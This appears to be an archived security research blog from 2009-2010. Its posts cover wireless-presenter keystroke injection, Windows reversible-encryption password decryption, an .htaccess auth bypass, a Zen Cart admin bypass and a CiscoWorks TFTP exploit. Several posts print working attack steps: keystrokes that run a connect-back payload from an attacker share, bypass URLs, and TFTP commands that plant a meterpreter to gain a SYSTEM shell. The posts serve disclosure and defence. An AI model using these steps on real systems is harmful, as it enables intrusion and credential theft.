blog.teusink.net

When bugs are forgotten

noreply@blogger.com (Niels Teusink) — Thu, 02 Sep 2010 19:05:00 +0000

Last year, at HAR2009, there was a presentation about reverse engineering switch firmware. The researchers had found there is a backdoor password in some Accton-based switches (which are sold by several manufacturers, such as 3Com). It was a very nice piece of reverse engineering.

After the presentation I occasionally checked the manufacturer website to see when a patch would show up, but it never did. In fact the vulnerability was never picked up by the security community. I have a vulnerable device (a 3com 3812 gigabit switch) and started to complain. So here it is, more than a year later, a >365-day exploit.

It's hard to say which switches are vulnerable and which are not. It certainly doesn't mean that if you have a 3Com device it is vulnerable, but you can check yourself using the exploit code. Vulnerability scanners will start detecting it soon and time will tell I guess. In the meantime, you could disable all management interfaces and manage your switches using a console cable.

Why MS10-046 mentions my name

noreply@blogger.com (Niels Teusink) — Mon, 02 Aug 2010 17:47:00 +0000

Some people have asked me why Microsoft credits me in MS10-046 (a.k.a. the patch for the lnk bug). In version 1.0 of the original advisory they only mentioned .LNK files as an attack vector. When playing around with the bug and the published exploit code, I discovered the vulnerability could also be exploited with .PIF files (MS-DOS shortcuts). This was the case even after applying the workaround (disabling the display of icons on lnk files). So I contacted the MSRC, they updated the workaround and were kind enough to credit me for the additional attack vector.

Hacking wireless presenters with an Arduino and Metasploit

noreply@blogger.com (Niels Teusink) — Sun, 04 Jul 2010 12:29:00 +0000

I gave a presentation this week at Hack in the Box in Amsterdam about hacking wireless presenters (slides here. My demo showed how I could abuse vulnerabilities in the product to get a Metasploit payload on to the PC of someone using a wireless presenter, by just sending keystrokes to it. This article describes how I did it and why you may be at risk if you use any wireless input device (such as a wireless mouse).

At lot of security research has been done on wireless keyboards in the last couple of years. 27Mhz keyboards were attacked successfully and can be sniffed using a home-built device. The same researchers took on modern 2.4Ghz devices as well at the end of last year.

At the beginning of this year, I started to look at the security of wireless presenters. The one I had, a Logitech R-R0001, is a 2.4Ghz presenter. I used it while giving my talk at HAR2009 last summer, so I was curious about the risks involved with its use. When you plug the accompanying USB dongle into your laptop, a new keyboard is detected, you can then use the presenter to control your Powerpoint presentation. So basically a wireless presenter is just a wireless keyboard with only a couple of buttons. For example: If you press the 'next slide' button, the computer the dongle simulates a page-down keystroke and Powerpoint displays the next slide. On of the things that worried me was: could someone in the audience send a 'next slide' command to the dongle in order to go to the next slide before I wanted to do so? Or worse: could he send random keystrokes to my laptop (after all, the device is a keyboard!). Wouldn't it be fun if you could make a random message appear on Steve Jobs' (or Steve Ballmer's) screen when he's giving his latest keynote? Needless to say doing so may be a criminal offence in your country.

In short: yes you can. Someone in the audience can control the slides and can send any keystroke you want to the victim, as if they were sitting at the keyboard. You can build a device to do this using an Arduino and a wireless module for about €30.

The R-R0001 presenter

Reverse engineering the hardware

I started my research by simply opening up the presenter device. When looking at the IC's ('chips') on the circuit board I quickly noticed a CYRF6936 IC. The 'RF' is quite a hint that this is a radio-related chip. When googling the number I came across the manufacturers site. This IC is made by Cypress Semiconductors and is common in 2.4Ghz systems. It operates on the 2.4Ghz band but the technology used is not Bluetooth or WiFi. Cypress invented their own proprietary wireless protocol ('WirelessUSB'). Sniffers for this kind of system are rather expensive or not freely available, so I decided to see if I could build my own.

Not all presenters are based on this IC. You may also see (for example) the nRF24L01 in some devices (this is the IC the remote-exploit.org research was focussed on). Another popular one is the TI/Chipcon CC2500. For now, I decided to focus on Cypress-based devices.

I also opened up the dongle, which contains (as expected) the same IC, along with a simple Cypress processor. Opening up the device is not always necessary, most devices list an FCC ID on the label which you can enter on the FCC site. You can find documents there detailing the FCC approval of the device for use in the United States, including internal photographs and in some cases schematics and block diagrams. The FCC ID for the R-R0001 is H4IPR24RF002, the manufacturer code belongs to Lite-on Technology Corp.

The side of the dongle with the CYRF6936 radio

The side of the dongle with the processor

The processor communicates with the CYRF6936 and instructs it to send or receive packets. The command set for the CYRF6936 is actually quite simple: you can either read from or write to configuration registers. So to send a packet you set a couple of parameters (channel, mode etc.) and write the packet contents to some register. This communication uses a serial bus protocol called SPI (Serial Peripheral Interface).

A rough block diagram of the presenter dongle

So I decided to try and intercept the traffic, by just buying a CYRF6936 IC, connecting it to an Arduino and set it to listen to packets. One of the problems I realized at an early stage was that the CYRF6936 has a lot of configurable parameters (channel, transmit mode, preamble, SOP-code etc.). This makes it quite hard to create a universal sniffer as it would constantly have to hop between a lot of possibilities. For example the SOP (Start Of Packet) code is an 8-byte setting. If the SOP-code of the sender and receiver don't match no packets will be received. Brute-forcing an 8-byte value over the air is impractical, and you would have to do it for all one-hundred channels, all four packet-modes etc. etc. etc.

Hardware reverse engineering is the way to go here. I decided to try and sniff the SPI bus communication between the processor and CYRF6936 on the circuit board of the dongle. The leads on the CYRF6936 are quite tiny so they are hard to probe, but the processor is of a more convenient size and easy to put an IC clip on (which I already owned). The pin-out is freely available on the internet. You could also probe the processor on the presenter, but it is somewhat harder because the IC is smaller.

Sniffing the bus

The SPI bus uses four wires: MISO, MOSI, SCK and SS. The MISO and MOSI wires contain data (one wire for receiving, the other for sending), the other two do not contain data but are necessary for proper communication. Wikipedia has a good article on SPI if you want some more information.

I hadn't done any SPI bus sniffing before but knew I would need a logic analyser to do so. I didn't own one but ordered a USBee SX from a web-shop in Germany for €100. This is a USB-based logic analyser which uses the PC to interpret and display the data. The software that comes with it has built-in support for decoding SPI. The software gives you a really nice low-level view of the communication (ones and zeroes or bytes) but if you buy a license for the 'pro' version, you can also look at decoded and interpreted data (register reads and writes in our case) with the Packet Presenter. Some alternatives are made by Zeroplus and Saleae. There is even an open source logic analyser available from Dangerous Prototypes.

The R-R0001 dongle with the USBee SX logic analyser attached to the processor (four wires for SPI, one for GND)

SPI traffic in the USBee interface

The USBee website has an example Packet Presenter file which can be used to decode CYRF6936 traffic. They only implemented a couple of the 44 registers, but with a lot of typing and datasheet reading, I completed the file with the capability to interpret all registers.

Some SPI traffic displayed in the Packet Presenter

The next step is actually sniffing the data, which is not that hard once you get the hang of it. Then you can use the Cypress datasheet and development guides to see what all of those registers. Some have obvious names, such as CHANNEL_ADR, others are more cryptic (FRAMING_CFG_ADR and MODE_OVERRIDE_ADR for example).

By looking the intercepted traffic between the processor and the CYRF6936, I found out how the processor configures the IC (channel, SOP code etc.) and was able to create a compatible device using my Arduino. For the CYRF6936 I used a Unigen module (as recommended here) which can be bought at Digikey for €11.99. With this device I could listen in on the communication between the presenter and the dongle and quickly started to notice patterns.

The prototype setup: an Adruino connected to a Unigen Leto-M module. The breadboard has some resistors to connect the 5V Arduino to the 3.3V Module

For example: when I pressed the 'next slide' button the following packets are sent:

45 4E
41 00

The 'previous slide' button sends the following packets:

45 4B
41 00

The software receiving packets

I then modified the code to enable the transmission of packets (which took a lot of debugging). I replayed the packets I observed going over the air and was able to send a 'next slide' command! By when I changed the first packet to 45 0E, the letter 'k' appeared on my screen; it was possible to send custom keystrokes! After a bit of googling I found out that 0E and 4E are standard USB scancodes for those two keys so it's easy to look up any key you want. The 41 00 packet is a key-up event. Some more googling I found out that you can use modifiers such as Shift, Alt and Control and also the 'Windows' key. I tried sending Win+R and a 'Run' box appeared on my screen. This means if you put this dongle in your PC, I can send it keystrokes and execute commands!

Of course I cheated there, I intercepted how the processor prepares the CYRF6936. A different presenter will be configured in a different way (so they won't interfere with each other).

So I bought a different Logitech presenter, an R400, which was first introduced in August 2009. This radio in this one turns out to be a CYRF69103 (instead of a CYRF6936). The CYRF69103 is a 'Programmable Radio on Chip', meaning you don't need a separate processor (it's basically two IC's in one chip package). This posed a problem as I wanted to sniff the communication between the processor and the radio, but if these are both in one IC you cannot sniff the bus. The CYRF69103 is however compatible with the CYRF6936, although this is not very well documented.

The Logitech R400 wireless presenter

If you program the CYRF69103, you still communicate via SPI with the radio, everything just happens within the package. Lucky for us: for debugging purposed this SPI interface is also exposed to the outside (for debugging or connecting another SPI-based device). So I traced the pins on the CYRF69103 and found out these are connected to some test pads on the circuit board of the R400 presenter. So I soldered a couple of wires to the test pads to gain easy access to the SPI bus with the logic analyser. I found out this device is pretty similar to the R-R0001 presenter. The only thing configured differently were the channel and the SOP-code. The SOP-codes of my R-R0001 and R400 presenters are both mentioned in the datasheet as one of eleven examples. In some cases, Cypress seems to call these 'sub-channels'.

The R400 presenter circuit board with some wires soldered to it so it can be connected to the logic analyser. The crocodile clips are connected to the two batteries as I had to remove the original battery compartment to gain easy access.

So by simply cycling through the 98 channels and 11 SOP-codes (so 1078 combinations) I could send keystrokes to both the R-R0001 and R400, pretty easy.

Another great thing about the Cypress based IC's is that they support auto-acknowledgements. When you enable this feature and send a packet, you can then simply check a register to see whether an acknowledgement packet was received. This is all handled by the chip so you don't have to write a lot of code to support it. As the presenters have this feature enabled I figured I could use it to actively scan for presenters (or at least their dongles) in range. By just sending a random single-byte packet (I just use a NULL-byte) on every channel and SOP-code combination I can detect presenters by checking whether any acknowledgements are received. The process of scanning all 1078 combinations takes less than 30 seconds. It could probably be optimised even further as the device probably doesn't use all 98 channels.

The software scanning for devices (and finding both of my presenters)

After scanning for devices I can then decide to listen for packets or start injecting keystrokes. I don't own any CYRF6936-based keyboards, but the code would probably work with some of those as well.

Getting a metasploit payload on there

So at HITB2010AMS I gave a demo where I would take over the system with the presenter dongle in it by just sending keystrokes to it. I sent these keystrokes:

[Win+R]
net use X: http://attacker/webdavshare
X:\VNCconnectback.exe
[enter]

The second command mounts a WebDAV share (an Apache server with WebDAV enabled) using the Windows WebDAV Mini-Redirector service (a trick often used by the Metasploit framework as well). Then I just execute an executable that's on the share. The executable was generated with msfpayload. The payload connected back to my machine and spawned a VNC session, allowing me to control the machine remotely.

I mentioned some other options in my talk. A cool one would be to just type the whole executable into debug.exe (a well known trick to create binary files from plaintext). An easy one would be to just add a user to the system or rickroll the audience (if you're into that kind of thing).

Why you are at risk if you use a mouse

Something I noticed is even though the presenters do not contain any mouse-functionality, my system did detect both a keyboard and a mouse when I put the dongle in my PC. This makes sense as the manufacturer only has to build one type of dongle for all input devices: mice, keyboards and mouse/keyboard combinations. This also means that when you're using a presenter, someone cannot only control your keyboard, but also your mouse movements. This is not such a big deal as an attacker can do pretty much everything with the keyboard and doesn't need a mouse. But of course this would also work the other way around: if you use a wireless mouse, the dongle that comes with it most likely also supports keyboards. So even though people may not be able to sniff your keystrokes, it will still be possible to send keystrokes to your PC (and execute arbitrary OS commands). If another keyboard appears in your Windows Device Manager when you plug in the dongle of your wireless mouse, you are probably at risk.

Future work?

The Unigen module I used has a range of about 30 feet. Other modules are available with a range of up to 1KM. Even though active scanning won't be possible at such a range, simply cycling through all the channels and sending the payload it should be possible to own multiple presenters at a large conference without even being in the audience.

Another Logitech presenter is the R800. I didn't buy that one but the hardware seems to be almost identical to that of the R400, so my software will most likely work with it as well.

How to fix all this?

So what's the solution? If you already own a wireless presenter there is very little you can do (apart from accepting the risk and hoping nothing goes wrong). Manufacturers have started to use encryption for wireless keyboards and should start using this for presenters as well (Cypress actually offers encryption sample code). Not encryption mouse movements is probably acceptable, as long as the dongle only support encrypted keystrokes. I am not aware of any presenter that currently uses encryption.

Another option would be to just not allow any other keys than the ones actually on the presenter. Of course this would still allow attackers to send the 'next slide' command, but remote code execution shouldn't be possible. Also, manufacturers would not be able to use one dongle for all their devices anymore.

I'm not sure whether other presenters are vulnerable, but I think it's pretty likely.

You can find my Arduino code here: http://blog.teusink.net/2010/07/cybaby-software-you-can-use-to-hack.html

Cybaby: the software you can use to hack wireless presenters

noreply@blogger.com (Niels Teusink) — Sun, 04 Jul 2010 12:28:00 +0000

I was going to make my code somewhat prettier before releasing it, but as many people where asking for it I decided to release the version I used for the demo. It's called Cybaby (because my hardware was being a crybaby and I'm too lazy to think of a better name).

Too build the hardware get yourself an Arduino (I tested with the Duemillanove and Mega) and a LETO-M module. Just connect the LETO-M to the SPI interface on the Arduino, but make sure to cut down the voltage to 3.3V (I used a voltage divider which seems to work OK, but there are other ways as well). The LETO-M pins have a 2mm pitch. I soldered a cable to a 2mm connector, but you can also buy pre-made cables.

You can find Cybaby here: http://www.teusink.net/cybaby_0.2.tgz

This version only supports sending packets. A sample session (using the serial console built into the Arduino software):

> it
Init on Arduino Duemillanove
CYRF TX init
> q
Scanning for devices

Scanning for SOP_CODE 0x0
Scanning for SOP_CODE 0x1
Scanning for SOP_CODE 0x2
Scanning for SOP_CODE 0x3
Found device on channel: 0x46
Scanning for SOP_CODE 0x4
Scanning for SOP_CODE 0x5
Scanning for SOP_CODE 0x6
Scanning for SOP_CODE 0x7
Scanning for SOP_CODE 0x8
Scanning for SOP_CODE 0x9
Scanning for SOP_CODE 0xA
Scan complete!
> a03
Setting SOP_CODE to 0x3
> c46
Set channel to 0x46
> e454b
Sending packet 45 4B... success!
> e4100
Sending packet 41 0... success!

As you can see it's not that user-friendly right now. The it command initialises the hardware, you can then use q to start scanning for devices. In this case it found my presenter (an R400 in this case) on SOP code 0x03 and channel 0x46. We have to set those to send packets to it using the a03 (setting the SOP code) and c46 (setting the channel) commands. Then we can send packets using the eXXXX command (in this case I sent a page-up to the dongle).

Three-byte packets can be sent using the fXXXXXX command. f451408 sends Win+R, which should open the Run menu.

Presenting at Hack in the Box 2010 - Amsterdam

noreply@blogger.com (Niels Teusink) — Thu, 13 May 2010 20:03:00 +0000

The first part of the conference program for HITBSecConf 2010 - Amsterdam has been announced. I will be giving a presentation on the security of 2.4GHz wireless presenters. I will be talking about hardware reverse engineering and building an Arduino-based device to attack these devices. With such a device you can send random keystrokes to someone using such a presenter during a presentation.

You can read the full abstract here.

Unwrapping Oracle PL/SQL with unwrap.py

noreply@blogger.com (Niels Teusink) — Fri, 09 Apr 2010 09:07:00 +0000

The Oracle wrap utility can be used to obfuscate PL/SQL code, to ensure it can't be easily read. Pete Finnigan described (pdf) the wrapping process for Oracle 9g, but for 10g and 11g it still remains a bit of a mystery. I decided to release my Python unwrapping utility (supports 10g and 11g).

The unwrapping steps for 10g are nicely described in the Oracle Hacker's Handbook, but the actual substitution table needed to decode the package is omitted. Nobody (as far as I know) has published it. A lot of people seem to know how to do it though, there is even an online unwrapper available (and I'm sure everyone seriously involved in Oracle security knows how to do it). A Russian-made closed source tool is also available, but tends to upset virus scanners.

So to save everyone a couple of hours of figuring it out, here it is: unwrap.py

It's easy to use (I've used the wrapped procedure from this article as an example):

$ ./unwrap.py wrapped.txt
=== Oracle 10g/11g PL/SQL unwrapper - by Niels Teusink - blog.teusink.net ===

PROCEDURE WRAP_IT (SEED_IN NUMBER)
IS
V_RAND INTEGER;
BEGIN
DBMS_RANDOM.INITIALIZE (SEED_IN);
FOR I IN 1..5 LOOP
V_RAND := MOD(ABS(DBMS_RANDOM.RANDOM),45);
DBMS_OUTPUT.PUT_LINE(I||': '||V_RAND);
END LOOP;
END;
$

Update: one excellent resource I forgot to mention is this blog post by Anton Scheffer from Amis. I did not use his code to create my script but he describes how to get the substitution table as well. I also noticed Oracle security expert Pete Finnigan has mentioned my script on his blog (his older blogpost Unwrapping PL/SQL is also a good source of information).

Greasemonkey script to change Google url?sa=t links to direct links

noreply@blogger.com (Niels Teusink) — Sun, 06 Sep 2009 22:05:00 +0000

Google recently decided to change the links in Google results from direct links to tracking links. So instead of getting a nice http://blog.teusink.net/ link in your results, you will be getting a http://www.google.com/url?sa=t&source=web&ct=res.. etc link which will redirect you to the correct site.

I was rather annoyed by this as I use Google a lot when pentesting and often like to copy & paste links from the search results. Instead of getting a direct link to a site, I end up with a huge google.com link. So I decided to write a little Greasemonkey script to fix this:

// ==UserScript==
// @name                Google Direct Links
// @namespace           http://blog.teusink.net/
// @description         Script that changes annoying new-style Google links to direct links
// @include             http://google.tld/search?*
// @include             http://www.google.tld/search?*
// ==/UserScript==

var allElements, thisElement;
allElements = document.evaluate('//*[@onmousedown]',document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null);
for (var i = 0; i < allElements.snapshotLength; i++) {
 thisElement = allElements.snapshotItem(i);
 if(thisElement.nodeName.toUpperCase() == 'A'){
  thisElement.removeAttribute('onmousedown');
 }
}

This script removes the onmousedown handlers on all links in Google search results. Another way to achieve this is to disable Javascript on these pages. To use the script paste it into a text file, save it as googledirectlinks.user.js, install Greasemonkey and drag the googledirectlinks.user.js onto a Firefox window (Greasemonkey will prompt you to install the script).

Another nice extension is Adaptive Referer Remover. This add-on allows you to remove Referer headers if they contain certain patterns. So I added the following pattern to prevent sites from seeing what Google query I entered to find them (you could add rules for other Google features as well or even block it entirely):

^http://www\.google\..*search

This add-on refuses to install if you use Firefox 3.5, but it works fine in that version. You can install the Nightly Tester Tools extension, which enables you to install it anyway (or you could edit the .xpi file manually).

Windows password filters

noreply@blogger.com (Niels Teusink) — Thu, 27 Aug 2009 16:24:00 +0000

During my HAR talk, I briefly described the password filter mechanism. A password filter is a DLL that is listed in the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages.

Whenever a user changes his password, Windows passes the plaintext password to all the DLL’s listed there. The password filter can then determine whether the password meets its requirements (complexity, length etc.) and approve or disapprove the password. You can use this feature to implement your own password filter DLL and enforce your custom company password policy.

Of course, a password filter could also choose to do something else with the plaintext password. As I described in my previous blog post, Microsoft does this with RASSFM.DLL. An attacker could also create his own backdoor password filter that, for example, sends the password to a remote server.

The procedures you need to implement are quite well documented on MSDN. There is even a universal password filter available on Sourceforge. This allows you to pass the password to a custom script.

Passwords stored using reversible encryption: how it works (part 2)

noreply@blogger.com (Niels Teusink) — Wed, 26 Aug 2009 17:21:00 +0000

In part one of this article, I described how the reversible encryption of Windows domain passwords works. In this part, we will look at the security of this mechanism.

To decrypt the password you need the following components:
- The encrypted password (G$RADIUSCHAP)
- The 16 byte random (G$RADIUSCHAPKEY)
- The global LSA secret (G$MSRADIUSCHAPKEY)
- A static key hardcoded in RASSFM.DLL

The hardest thing to get is that global LSA secret. This is stored in active directory and synchronized between domain controllers. To access this key, you need domain administrator privileges. An obvious risk here is that once someone gains domain administrator privileges, he won’t need to crack any passwords, but can simply decrypt them. Of course, if an attacker gains domain administrator privileges on your domain, you are already in big trouble anyway.
However, the other components are all semi-public information. The static key is hardcoded in RASSFM.DLL which comes with every Windows server, so is easy to get. The G$RADIUSCHAP and G$RADIUSCHAPKEY are stored in active directory in the userParameters structure. If you have a user account on a domain you can use AD Explorer to access the Active Directory database and read this information. Of course, to decrypt the password you will still need that LSA secret.

The encrypted version of the password can be interesting though; by looking at the encrypted password you can derive the length of the plaintext password. Two examples I used in my presentation:

Pwd1 encrypted: 0f53 8420 9418 05ce 01ad

Pwd12 encrypted: 5d69 9375 6f92 1b63 7728 439f

So, by looking at the encrypted passwords you should notice that the encrypted version of Pwd12 is two bytes longer than the encrypted version of Pwd1. So, although we cannot determine from just looking at the encrypted password that they are very similar, we can determine their length. What this means is, that as a domain user, you can determine the length of other people’s passwords, which could be quite interesting.

If you obtain the LSA secret somehow (maybe because you temporarily gain domain administrator privileges), from that point on you can decrypt passwords stored using reversible encryption. This could be used as a nice backdoor, just steal the LSA secret, enable reversible encryption (if it hasn’t been enabled yet) and you can grab the domain administrator password with just a normal user account.

Someone in the HAR 2009 audience had a very nice question: Is it possible to recreate the LSA secret if you’re afraid it has been stolen. Of course the better option is to recreate the entire domain, but this is not always an option. To recreate the LSA secret you need to write a program that sets the LSA secret to NULL. According to the documentation, Windows will delete the LSA secret. It will generate a new LSA secret when it needs to encrypt another password. Of course, Windows won’t be able to decrypt the passwords stored before that point anymore. However, it will still try to decrypt them using the new LSA secret, which will result in gibberish most of the time. If you’re really unlucky it could decrypt the first two bytes to NULL, which basically means the password is suddenly empty. So if you ever have to do this, resetting all passwords immediately is probably a good idea.

HAR 2009 talk references

noreply@blogger.com (Niels Teusink) — Tue, 25 Aug 2009 17:57:00 +0000

I promised to put up some nice ‘further reading’ material for those who have seen my HAR talk. So here it is:

LM/NTLM
Disabling the LM hash
Free Rainbow Tables and download site

Passing the hash
The original post from 1997 by Paul Ashton
Core Pass-The-Hash toolkit
Tenable SMBshell

Token stealing
Luke Jennings research page
A tutorial on the tool by CG

You can see the video of my talk here or download it here or here.

Passwords stored using reversible encryption: how it works (part 1)

noreply@blogger.com (Niels Teusink) — Tue, 25 Aug 2009 17:36:00 +0000

In case you missed my HAR2009 talk: in the second part I talked about a Windows feature called ‘Store passwords using reversible encryption’. When this is enabled (per user or for the entire domain), Windows stores the password encrypted, but in such a way that it can reverse the encryption and recover the plaintext password. This feature exists because some authentication protocols require the plaintext password to function correctly, the two most common examples are HTTP Digest Authentication and CHAP.

This feature is not enabled by default but I’ve seen it a couple of times in customer networks. As I couldn’t find any description of how this mechanism works or any tool to recover these passwords, I decided to investigate.

When you change your password on a domain that has reversible encryption enabled, a password filter called RASSFM.DLL is used to store the password using reversible encryption. The key that is used to do this is G$MSRADIUSCHAPKEY, which is stored as a global LSA secret. This key is decrypted using a static key (hardcoded in the DLL). The result of this operation is combined with a 16-byte random value (generated every time someone changes their password) and that key is used to encrypt a Unicode version of the password using the RC4 algorithm.

I found out these passwords are stored in Active Directory in a per-user structure called userParameters. If you use a tool such as AD Explorer you can look at this structure in an AD that has enabled this feature. When you look at this structure, it looks like a binary blob, with some human-readable parts in there. When you enable reversible encryption you will notice two readable strings: G$RADIUSCHAP and G$RADIUSCHAPKEY. The userParameters can also be used to store settings unrelated to reversible encryption, such as per-user Terminal Server settings.

Following the G$RADIUSCHAP part is the ascii-hex encoded encrypted password. The part following the G$RADIUSCHAPKEY name is the 16-byte random value.

So to decrypt this password we use the following steps:
- Take the G$MSRADIUSCHAPKEY Global LSA secret
- Decrypt it using the static key
- Parse the userParameters structure and extract the G$RADIUSCHAP and G$RADIUSCHAPKEY values
- Combine the value of G$RADIUSCHAPKEY (the 16-byte random) with the decrypted LSA secret to create an RC4 key
- Decrypt the value of G$RADIUSCHAP using that RC4 key

The result is a plaintext Unicode password. My tool 'Revdump' automates this procedure.

In part two of this article, I will look at the security of this mechanism.

RevDump v0.2 release

noreply@blogger.com (Niels Teusink) — Sat, 15 Aug 2009 11:00:00 +0000

This is my tool to dump password stored using reversible encryption. You can download it here. Enjoy your stay at HAR.

A common Apache .htaccess misconfiguration

noreply@blogger.com (Niels Teusink) — Thu, 23 Jul 2009 18:48:00 +0000

If you want to restrict a directory on an Apache server to specific users, you will probably use an .htaccess/.htpasswd configuration. This allows you to add authentication to a directory or an entire site. The sad thing is, if I search for sample configurations on Google, five out of ten examples are insecure…

In fact years ago, I made the mistake of taking one of those sample configurations and used it on a site I had made. A typical .htaccess example you will find often looks like this:

AuthUserFile /var/www/.htpasswd
AuthName "My Private Files"
AuthType Basic
<limit GET POST>
require valid-user
</limit>

A rather straightforward example, so what is the problem? This configuration only partially restricts access to the ‘protected’ resource. The issue is in the <limit> tag. This tag restricts access to the resource if the request uses one of the specified HTTP methods, in this case GET and POST. Although these are the most popular methods, they certainly are not the only ones. RFC2616 (HTTP 1.1) lists eight methods: GET, POST, HEAD, OPTIONS, PUT, DELETE, CONNECT and TRACE. RFC2518 (WebDAV) adds a couple more. In other words, if you use one of the other one request methods, you can bypass the authentication. In some cases, using one of those methods will give you the protected page contents. You can also find plenty of examples (yes, the last one is nasa.gov) that don’t even limit GET and POST, but just GET, meaning a simple POST request will bypass authentication completely.

The solution? Simple, do not use the <limit> tag at all. If you omit it, all methods are restricted. If you are in a situation where you want to allow specific request methods, you should use <limitexcept>.

This is certainly not a new issue, it was documented in Apacheweek magazine in 1997. You can also find Bugtraq posts detailing instances of the issue, for example this one which describes an application that restricts only the GET method. If you want more details on this issue, Kernelpanik released a paper about it in 2004, you can find it here (pdf).

Speaking at HAR 2009

noreply@blogger.com (Niels Teusink) — Mon, 06 Jul 2009 20:15:00 +0000

The program for HAR 2009 was publicly announced a couple of days ago and I’m on the speakers list. My talk is called 'How we break into domains' and I will go over the steps I usually take when breaking into Windows domains. I have an hour for my talk, so I should be able to cover the technical details as well. Of course, I will also be presenting some new stuff I’ve been working on.

I had a lot of fun at the two previous events (HAL 2001 and WTH 2005) and am glad I can contribute a talk this year. See you all at HAR!

Zen Cart authentication bypass

noreply@blogger.com (Niels Teusink) — Wed, 24 Jun 2009 22:10:00 +0000

Zen Cart is a popular open source e-commerce application, written in PHP. Yesterday, two exploits for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue here.

Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:

This code is present in /admin/includes/init_includes/init_admin_auth.php (slightly simplified code):

if (if (!isset($_SESSION['admin_id']) &&
!(basename($SERVER['PHP_SELF']) == 'password_forgotten.php')) {
    zen_redirect('login.php');
}

So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.

The problem here is trusting the PHP_SELF variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request http://server.com/index.php, the PHP_SELF variable will be /index.php. However if I request http://server.com/index.php/foobar , the PHP_SELF variable will be /index.php/foobar, but the script being executed will still be index.php!

So in this case we can trick Zen Cart into thinking we are accessing password_forgotten.php, while we are actually accessing a different file by requesting:

http://target/admin/customers.php/password_forgotten.php

The file we are executing is customers.php, but basename(PHP_SELF) will return password_forgotten.php! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!

The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.

Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in PHP_SELF. At first this seems to be an (ugly but) effective fix and I think it is in most cases. However, Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:

http://target/admin/customers.PHP/password_forgotten.php

So by changing the extension of customers.php to .PHP, we modify the PHP_SELF variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.

Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.

Slides of my OWASP talk on CSRF

noreply@blogger.com (Niels Teusink) — Thu, 04 Jun 2009 18:44:00 +0000

Last week I gave a VAC (Vulnerability, Attack, Countermeasure) talk at an OWASP Netherlands meeting. I picked Cross-Site Request Forgery (CSRF) as a topic as it is an often misunderstood and underestimated problem.

My slides (in English) are available on the OWASP site here. I am planning on releasing another version of the slides in the OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).

CiscoWorks TFTP directory traversal exploit

noreply@blogger.com (Niels Teusink) — Sat, 23 May 2009 21:57:00 +0000

A couple of days ago, Cisco released an advisory for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:

niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds
tftp>

Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.

The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.

The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.

I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:

tftp> binary
tftp> put meter.exe ...\cgi-bin\error\500.pl
Sent 9732 bytes in 0.1 seconds

Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system("500.pl"); and uploaded it to the server:

tftp> put exec.pl ...\cgi-bin\error\404.pl
Sent 36 bytes in 0.0 seconds

Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:

[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.

Time to update SquirrelMail

noreply@blogger.com (Niels Teusink) — Tue, 12 May 2009 19:45:00 +0000

Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:

A reflected XSS caused by unsafe handling of the $PHP_SELF variable
A reflected XSS caused by unsafe handling of user supplied encrypted data
A remote command execution vulnerability (only in very specific configurations)

The first XSS is caused by the fact that SquirrelMail only used the strip_tags function to filter this variable. As the variable is often used within tags, you can still inject additional HTML attributes (think onmouseover). This was exploitable in multiple scripts. SquirrelMail now uses htmlspecialchars instead.

The second XSS is rather interresting. SquirrelMail comes with a test script which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.

